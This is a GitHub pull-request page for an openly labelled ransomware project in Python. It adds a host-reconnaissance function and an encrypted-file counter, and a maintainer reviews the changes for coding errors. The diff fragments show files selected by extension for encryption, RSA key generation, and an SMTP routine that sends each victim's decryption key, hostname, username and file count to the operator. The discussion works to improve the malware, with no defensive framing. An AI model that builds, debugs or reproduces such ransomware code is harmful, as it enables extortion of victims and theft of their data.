-
Notifications
You must be signed in to change notification settings - Fork 92
Add Function "Recon" and Added Encrypted File Count #2
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
See annotations.
@@ -179,6 +195,7 @@ def note(): | |||
if SMTP == True: | |||
key = RSA.generate(2048) | |||
exKey = key.exportKey('PEM') | |||
hostinfo = recon() |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Indentation error also you will need to process the dict to an actual array of strings.
@@ -132,7 +147,8 @@ def select_files(): | |||
for file in files: | |||
if file.endswith(tuple(ext)): | |||
files_to_enc.append(os.path.join(root, file)) | |||
|
|||
|
|||
encrypted_count = str(len(files_to_enc)) ## Get a count of the encrypted files |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
you can't str(len(array)
str sets the type to string, you are looking at an array here files_to_enc
. This will throw a type error.
@@ -118,6 +132,7 @@ def single_arg_encrypt_file(in_filename): | |||
encrypt_file(key, in_filename) | |||
|
|||
def select_files(): | |||
global encrypted_count |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please use method arguments instead of global variables when not returning in a particular method.
@@ -74,7 +88,7 @@ def send_Key_SMTP(): | |||
FROM = USER | |||
TO = ["[email protected]"] | |||
SUBJECT = "Ransomware data: "+str(ts) | |||
MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey) | |||
MESSAGE = """\Client ID: %s Decryption Key: %s Host info: %s Number of encrypted files: %s""" % (ID, exKey, str(hostinfo), encrypted_count) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Indentation error
Thank you for your contribution. Let's first get some of these issues resolved. After which i will consider the merger alright? |
I added a function to do some basic information gathering on the host. It gets os name, hostname, user the ransomware was run as, etc. Also added a counter for the encrypted files. The information gathered by these two new things is sent with the decryption key via SMTP.